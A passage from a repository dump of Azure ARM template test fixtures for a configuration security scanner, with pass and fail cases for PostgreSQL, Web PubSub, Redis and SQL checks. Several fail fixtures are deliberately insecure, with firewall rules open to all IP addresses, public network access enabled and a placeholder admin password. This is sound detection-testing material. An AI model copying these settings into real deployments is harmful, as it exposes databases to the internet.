\"[variables('firewallrules').batch.rules[copyIndex()].EndIpAddress]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLServerSSLEnforcementEnabled/postgreSQL-SSL-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"serverName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Server Name for Azure database for PostgreSQL\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"skuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku name \"\n      }\n    },\n    \"skuSizeMB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 51200,\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL Sku Size \"\n      }\n    },\n    \"skuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL pricing tier\"\n      }\n    },\n    \"skuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku family\"\n      }\n    },\n    \"postgresqlVersion\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"9.5\",\n        \"9.6\",\n        \"10\",\n        \"11\"\n      ],\n      \"defaultValue\": \"11\",\n      \"metadata\": {\n        \"description\": \"PostgreSQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"backupRetentionDays\": {\n      \"type\": \"int\",\n      \"defaultValue\": 7,\n      \"metadata\": {\n        \"description\": \"PostgreSQL Server backup retention days\"\n      }\n    },\n    \"geoRedundantBackup\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Disabled\",\n      \"metadata\": {\n        \"description\": \"Geo-Redundant Backup setting\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_postgresql_vnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Name\"\n      }\n    },\n    \"subnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_postgresql_subnet\",\n      \"metadata\": {\n        \"description\": \"Subnet Name\"\n      }\n    },\n    \"virtualNetworkRuleName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AllowSubnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network RuleName\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Address Prefix\"\n      }\n    },\n    \"subnetPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Subnet Address Prefix\"\n      }\n    }\n  },\n  \"variables\": {\n    \"firewallrules\": {\n      \"batch\": {\n        \"rules\": [\n          {\n            \"Name\": \"rule1\",\n            \"StartIpAddress\": \"0.0.0.0\",\n            \"EndIpAddress\": \"255.255.255.255\"\n          },\n          {\n            \"Name\": \"rule2\",\n            \"StartIpAddress\": \"0.0.0.0\",\n            \"EndIpAddress\": \"255.255.255.255\"\n          }\n        ]\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[parameters('virtualNetworkName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        }\n      },\n      \"resources\": [\n        {\n          \"apiVersion\": \"2018-06-01\",\n          \"type\": \"subnets\",\n          \"location\": \"[parameters('location')]\",\n          \"name\": \"[parameters('subnetName')]\",\n          \"dependsOn\": [\n            \"[parameters('virtualNetworkName')]\"\n          ],\n          \"properties\": {\n            \"addressPrefix\": \"[parameters('subnetPrefix')]\"\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"2017-12-01\",\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('serverName')]\",\n      \"sku\": {\n        \"name\": \"[parameters('skuName')]\",\n        \"tier\": \"[parameters('skuTier')]\",\n        \"capacity\": \"[parameters('skuCapacity')]\",\n        \"size\": \"[parameters('skuSizeMB')]\",\n        \"family\": \"[parameters('skuFamily')]\"\n      },\n      \"properties\": {\n        \"version\": \"[parameters('postgresqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageProfile\": {\n          \"storageMB\": \"[parameters('skuSizeMB')]\",\n          \"backupRetentionDays\": \"[parameters('backupRetentionDays')]\",\n          \"geoRedundantBackup\": \"[parameters('geoRedundantBackup')]\"\n        },\n        \"sslEnforcement\": \"Enabled\"\n      },\n      \"resources\": [\n        {\n          \"name\": \"[parameters('virtualNetworkRuleName')]\",\n          \"type\": \"virtualNetworkRules\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"virtualNetworkSubnetId\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]\",\n            \"ignoreMissingVnetServiceEndpoint\": true\n          },\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', parameters('serverName'))]\"\n          ]\n        }\n      ]\n    },\n    {\n      \"name\": \"[concat(parameters('serverName'),'/',variables('firewallrules').batch.rules[copyIndex()].Name)]\",\n      \"type\": \"Microsoft.DBforPostgreSQL/servers/firewallRules\",\n      \"apiVersion\": \"2017-12-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.DBforPostgreSQL/servers/', parameters('serverName'))]\"\n      ],\n      \"copy\": {\n        \"name\": \"firewallRulesCopy\",\n        \"mode\": \"Serial\",\n        \"batchSize\": 1,\n        \"count\": \"[length(variables('firewallrules').batch.rules)]\"\n      },\n      \"properties\": {\n        \"startIpAddress\": \"[variables('firewallrules').batch.rules[copyIndex()].StartIpAddress]\",\n        \"endIpAddress\": \"[variables('firewallrules').batch.rules[copyIndex()].EndIpAddress]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgressSQLGeoBackupEnabled/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"fail1\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"administratorLogin\": \"psqladminun\",\n        \"administratorLoginPassword\": \"blabla\",\n        \"version\": \"9.6\",\n        \"storageProfile\": {\n          \"storageMB\": 640000,\n          \"backupRetentionDays\": 7,\n          \"geoRedundantBackup\": \"Disabled\"\n        },\n        \"sslEnforcement\": \"Enabled\",\n        \"minimalTlsVersion\": \"TLS1_2\"\n      },\n      \"sku\": {\n        \"name\": \"GP_Gen5_4\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgressSQLGeoBackupEnabled/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"fail2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"administratorLogin\": \"psqladminun\",\n        \"administratorLoginPassword\": \"blabla\",\n        \"version\": \"9.6\",\n        \"storageProfile\": {\n          \"storageMB\": 640000,\n          \"backupRetentionDays\": 7\n        },\n        \"sslEnforcement\": \"Enabled\",\n        \"minimalTlsVersion\": \"TLS1_2\"\n      },\n      \"sku\": {\n        \"name\": \"GP_Gen5_4\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgressSQLGeoBackupEnabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"pass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"administratorLogin\": \"psqladminun\",\n        \"administratorLoginPassword\": \"blabla\",\n        \"version\": \"9.6\",\n        \"storageProfile\": {\n          \"storageMB\": 640000,\n          \"backupRetentionDays\": 7,\n          \"geoRedundantBackup\": \"Enabled\"\n        },\n        \"sslEnforcement\": \"Enabled\",\n        \"minimalTlsVersion\": \"TLS1_2\"\n      },\n      \"sku\": {\n        \"name\": \"GP_Gen5_4\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PubsubSKUSLA/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.13.1.58284\",\n      \"templateHash\": \"18262070107935981048\"\n    }\n  },\n  \"parameters\": {\n    \"wpsName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[uniqueString(resourceGroup().id)]\",\n      \"minLength\": 3,\n      \"maxLength\": 63,\n      \"metadata\": {\n        \"description\": \"The name for your new Web PubSub instance.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The region in which to create the new instance, defaults to the same location as the resource group.\"\n      }\n    },\n    \"unitCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 1,\n      \"allowedValues\": [\n        1,\n        2,\n        5,\n        10,\n        20,\n        50,\n        100\n      ],\n      \"metadata\": {\n        \"description\": \"Unit count\"\n      }\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Free_F1\",\n      \"allowedValues\": [\n        \"Standard_S1\",\n        \"Free_F1\"\n      ],\n      \"metadata\": {\n        \"description\": \"SKU name\"\n      }\n    },\n    \"pricingTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Free\",\n      \"allowedValues\": [\n        \"Free\",\n        \"Standard\"\n      ],\n      \"metadata\": {\n        \"description\": \"Pricing tier\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.SignalRService/webPubSub\",\n      \"apiVersion\": \"2021-10-01\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"capacity\": \"[parameters('unitCount')]\",\n        \"name\": \"Free_F1\",\n        \"tier\": \"[parameters('pricingTier')]\"\n      },\n      \"identity\": {\n        \"type\": \"None\"\n      },\n      \"properties\": {\n        \"disableAadAuth\": false,\n        \"disableLocalAuth\": false,\n        \"liveTraceConfiguration\": {\n          \"categories\": [\n            {\n              \"enabled\": \"false\",\n              \"name\": \"ConnectivityLogs\"\n            },\n            {\n              \"enabled\": \"false\",\n              \"name\": \"MessagingLogs\"\n            }\n          ],\n          \"enabled\": \"false\"\n        },\n        \"networkACLs\": {\n          \"defaultAction\": \"Deny\",\n          \"publicNetwork\": {\n            \"allow\": [\n              \"ServerConnection\",\n              \"ClientConnection\",\n              \"RESTAPI\",\n              \"Trace\"\n            ]\n          }\n        },\n        \"publicNetworkAccess\": \"Enabled\",\n        \"resourceLogConfiguration\": {\n          \"categories\": [\n            {\n              \"enabled\": \"true\",\n              \"name\": \"ConnectivityLogs\"\n            },\n            {\n              \"enabled\": \"true\",\n              \"name\": \"MessagingLogs\"\n            }\n          ]\n        },\n        \"tls\": {\n          \"clientCertEnabled\": false\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PubsubSKUSLA/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.13.1.58284\",\n      \"templateHash\": \"18262070107935981048\"\n    }\n  },\n  \"parameters\": {\n    \"wpsName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[uniqueString(resourceGroup().id)]\",\n      \"minLength\": 3,\n      \"maxLength\": 63,\n      \"metadata\": {\n        \"description\": \"The name for your new Web PubSub instance.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The region in which to create the new instance, defaults to the same location as the resource group.\"\n      }\n    },\n    \"unitCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 1,\n      \"allowedValues\": [\n        1,\n        2,\n        5,\n        10,\n        20,\n        50,\n        100\n      ],\n      \"metadata\": {\n        \"description\": \"Unit count\"\n      }\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Free_F1\",\n      \"allowedValues\": [\n        \"Standard_S1\",\n        \"Free_F1\"\n      ],\n      \"metadata\": {\n        \"description\": \"SKU name\"\n      }\n    },\n    \"pricingTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Free\",\n      \"allowedValues\": [\n        \"Free\",\n        \"Standard\"\n      ],\n      \"metadata\": {\n        \"description\": \"Pricing tier\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.SignalRService/webPubSub\",\n      \"apiVersion\": \"2021-10-01\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"capacity\": \"[parameters('unitCount')]\",\n        \"name\": \"Standard_S1\",\n        \"tier\": \"[parameters('pricingTier')]\"\n      },\n      \"identity\": {\n        \"type\": \"None\"\n      },\n      \"properties\": {\n        \"disableAadAuth\": false,\n        \"disableLocalAuth\": false,\n        \"liveTraceConfiguration\": {\n          \"categories\": [\n            {\n              \"enabled\": \"false\",\n              \"name\": \"ConnectivityLogs\"\n            },\n            {\n              \"enabled\": \"false\",\n              \"name\": \"MessagingLogs\"\n            }\n          ],\n          \"enabled\": \"false\"\n        },\n        \"networkACLs\": {\n          \"defaultAction\": \"Deny\",\n          \"publicNetwork\": {\n            \"allow\": [\n              \"ServerConnection\",\n              \"ClientConnection\",\n              \"RESTAPI\",\n              \"Trace\"\n            ]\n          }\n        },\n        \"publicNetworkAccess\": \"Enabled\",\n        \"resourceLogConfiguration\": {\n          \"categories\": [\n            {\n              \"enabled\": \"true\",\n              \"name\": \"ConnectivityLogs\"\n            },\n            {\n              \"enabled\": \"true\",\n              \"name\": \"MessagingLogs\"\n            }\n          ]\n        },\n        \"tls\": {\n          \"clientCertEnabled\": false\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PubsubSpecifyIdentity/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.SignalRService/webPubSub\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Free_F1\",\n        \"capacity\": 1\n      },\n      \"properties\": {\n        \"liveTraceConfiguration\": {\n          \"enabled\": \"true\",\n          \"categories\": [\n            {\n              \"name\": \"MessagingLogs\",\n              \"enabled\": \"true\"\n            },\n            {\n              \"name\": \"ConnectivityLogs\",\n              \"enabled\": \"false\"\n            }\n          ]\n        }\n      },\n      \"publicNetworkAccess\": \"Disabled\"\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_PubsubSpecifyIdentity/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.SignalRService/webPubSub\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_S1\",\n        \"capacity\": 1\n      },\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"liveTraceConfiguration\": {\n          \"enabled\": \"true\",\n          \"categories\": [\n            {\n              \"name\": \"MessagingLogs\",\n              \"enabled\": \"true\"\n            },\n            {\n              \"name\": \"ConnectivityLogs\",\n              \"enabled\": \"false\"\n            }\n          ]\n        }\n      },\n      \"publicNetworkAccess\": \"Disabled\"\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PubsubSpecifyIdentity/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.SignalRService/webPubSub\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass2\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_S1\",\n        \"capacity\": 1\n      },\n      \"identity\": {\n        \"type\": \"UserAssigned\"\n      },\n      \"properties\": {\n        \"liveTraceConfiguration\": {\n          \"enabled\": \"true\",\n          \"categories\": [\n            {\n              \"name\": \"MessagingLogs\",\n              \"enabled\": \"true\"\n            },\n            {\n              \"name\": \"ConnectivityLogs\",\n              \"enabled\": \"false\"\n            }\n          ]\n        }\n      },\n      \"publicNetworkAccess\": \"Disabled\"\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_RedisCachePublicNetworkAccessEnabled/fail.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {},\n    \"resources\": [\n        {\n            \"name\": \"fail\",\n            \"type\": \"Microsoft.Cache/redis\",\n            \"apiVersion\": \"2023-04-01\",\n            \"location\": \"uksouth\",\n            \"dependsOn\": [],\n            \"properties\": {\n                \"sku\": {\n                    \"name\": \"Standard\",\n                    \"family\": \"C\",\n                    \"capacity\": 1\n                },\n                \"redisConfiguration\": {},\n                \"enableNonSslPort\": false,\n                \"publicNetworkAccess\": \"Enabled\",\n                \"redisVersion\": \"6\"\n            },\n            \"tags\": {}\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_RedisCachePublicNetworkAccessEnabled/fail2.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {},\n    \"resources\": [\n        {\n            \"name\": \"fail2\",\n            \"type\": \"Microsoft.Cache/redis\",\n            \"apiVersion\": \"2023-04-01\",\n            \"location\": \"uksouth\",\n            \"dependsOn\": [],\n            \"properties\": {\n                \"sku\": {\n                    \"name\": \"Standard\",\n                    \"family\": \"C\",\n                    \"capacity\": 1\n                },\n                \"redisConfiguration\": {},\n                \"enableNonSslPort\": false,\n                \"redisVersion\": \"6\"\n            },\n            \"tags\": {}\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_RedisCachePublicNetworkAccessEnabled/pass.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {},\n    \"resources\": [\n        {\n            \"name\": \"pass\",\n            \"type\": \"Microsoft.Cache/redis\",\n            \"apiVersion\": \"2023-04-01\",\n            \"location\": \"uksouth\",\n            \"dependsOn\": [],\n            \"properties\": {\n                \"sku\": {\n                    \"name\": \"Standard\",\n                    \"family\": \"C\",\n                    \"capacity\": 1\n                },\n                \"redisConfiguration\": {},\n                \"enableNonSslPort\": false,\n                \"publicNetworkAccess\": \"Disabled\",\n                \"redisVersion\": \"6\"\n            },\n            \"tags\": {}\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLDatabaseZoneRedundant/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Sql/servers/databases\",\n      \"apiVersion\": \"2014-04-01\",\n      \"name\": \"fail\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"collation\": \"SQL_Latin1_General_CP1_CI_AS\",\n        \"licenseType\": \"LicenseIncluded\",\n        \"maxSizeBytes\": 4,\n        \"readScale\": \"Enabled\"\n      },\n      \"sku\": {\n        \"name\": \"S0\"\n      },\n      \"tags\": {\n        \"environment\": \"Production\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLDatabaseZoneRedundant/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Sql/servers/databases\",\n      \"apiVersion\": \"2014-04-01\",\n      \"name\": \"fail2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"collation\": \"SQL_Latin1_General_CP1_CI_AS\",\n        \"licenseType\": \"LicenseIncluded\",\n        \"maxSizeBytes\": 4,\n        \"readScale\": \"Enabled\",\n        \"zoneRedundant\": false\n      },\n      \"sku\": {\n        \"name\": \"S0\"\n      },\n      \"tags\": {\n        \"environment\": \"Production\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLDatabaseZoneRedundant/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Sql/servers/databases\",\n      \"apiVersion\": \"2014-04-01\",\n      \"name\": \"pass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"collation\": \"SQL_Latin1_General_CP1_CI_AS\",\n        \"licenseType\": \"LicenseIncluded\",\n        \"maxSizeBytes\": 4,\n        \"readScale\": \"Enabled\",\n        \"zoneRedundant\": true\n      },\n      \"sku\": {\n        \"name\": \"S0\"\n      },\n      \"tags\": {\n        \"environment\": \"Production\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerAuditingEnabled/sqlServerAuditingEnabled-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"sqlServerName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"serverEnabled\",\n      \"metadata\": {\n        \"description\": \"Name of the SQL server\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The administrator username of the SQL Server.\"\n      }\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"The administrator password of the SQL Server.\"\n      }\n    },\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('sqlaudit', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"The name of the auditing storage account.\"\n      }\n    },\n    \"isStorageBehindVnet\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"metadata\": {\n        \"description\": \"Enable Auditing to storage behind Virtual Network or firewall rules. The user deploying the template must have an administrator or owner permissions.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"StorageBlobContributor\": \"[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]\",\n    \"uniqueRoleGuid\": \"[guid(resourceId('Microsoft.Storage/storageAccounts',  parameters('storageAccountName')), variables('storageBlobContributor'), resourceId('Microsoft.Sql/servers', parameters('sqlServerName')))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[parameters('storageAccountName')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_LRS\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"networkAcls\": {\n          \"bypass\": \"AzureServices\",\n          \"defaultAction\": \"[if(parameters('isStorageBehindVnet'), 'Deny', 'Allow')]\"\n        }\n      },\n      \"resources\": [\n        {\n          \"condition\": \"[parameters('isStorageBehindVnet')]\",\n          \"type\": \"Microsoft.Storage/storageAccounts/providers/roleAssignments\",\n          \"apiVersion\": \"2020-03-01-preview\",\n          \"name\": \"[concat(parameters('storageAccountName'), '/Microsoft.Authorization/', variables('uniqueRoleGuid'))]\",\n          \"dependsOn\": [\n            \"[resourceId('Microsoft.Sql/servers', parameters('sqlServerName'))]\",\n            \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]\"\n          ],\n          \"properties\": {\n            \"roleDefinitionId\": \"[variables('StorageBlobContributor')]\",\n            \"principalId\": \"[reference(resourceId('Microsoft.Sql/servers', parameters('sqlServerName')), '2019-06-01-preview', 'Full').identity.principalId]\",\n            \"scope\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]\",\n            \"principalType\": \"ServicePrincipal\"\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2019-06-01-preview\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('sqlServerName')]\",\n      \"identity\": \"[if(parameters('isStorageBehindVnet'), json('{\\\"type\\\":\\\"SystemAssigned\\\"}'), json('null'))]\",\n      \"properties\": {\n        \"administratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('sqlAdministratorLoginPassword')]\",\n        \"version\": \"12.0\"\n      },\n      \"tags\": {\n        \"displayName\": \"[parameters('sqlServerName')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"auditingSettings\",\n          \"apiVersion\": \"2019-06-01-preview\",\n          \"name\": \"DefaultAuditingSettings\",\n          \"dependsOn\": [\n            \"[parameters('sqlServerName')]\",\n            \"[parameters('storageAccountName')]\",\n            \"[extensionResourceId(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), 'Microsoft.Authorization/roleAssignments/', variables('uniqueRoleGuid'))]\"\n          ],\n          \"properties\": {\n            \"state\": \"Enabled\",\n            \"storageEndpoint\": \"[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').PrimaryEndpoints.Blob]\",\n            \"storageAccountAccessKey\": \"[if(parameters('isStorageBehindVnet'), json('null'), listKeys(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').keys[0].value)]\",\n            \"storageAccountSubscriptionId\": \"[subscription().subscriptionId]\",\n            \"isStorageSecondaryKeyInUse\": false\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerAuditingEnabled/sqlServerAuditingEnabled-TDE-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The administrator username of the SQL Server.\"\n      }\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"The administrator password of the SQL Server.\"\n      }\n    },\n    \"transparentDataEncryption\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"Enabled\",\n        \"Disabled\"\n      ],\n      \"defaultValue\": \"Enabled\",\n      \"metadata\": {\n        \"description\": \"Enable or disable Transparent Data Encryption (TDE) for the database.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"sqlServerName\": \"serverDefault\",\n    \"databaseName\": \"sample-db-with-tde\",\n    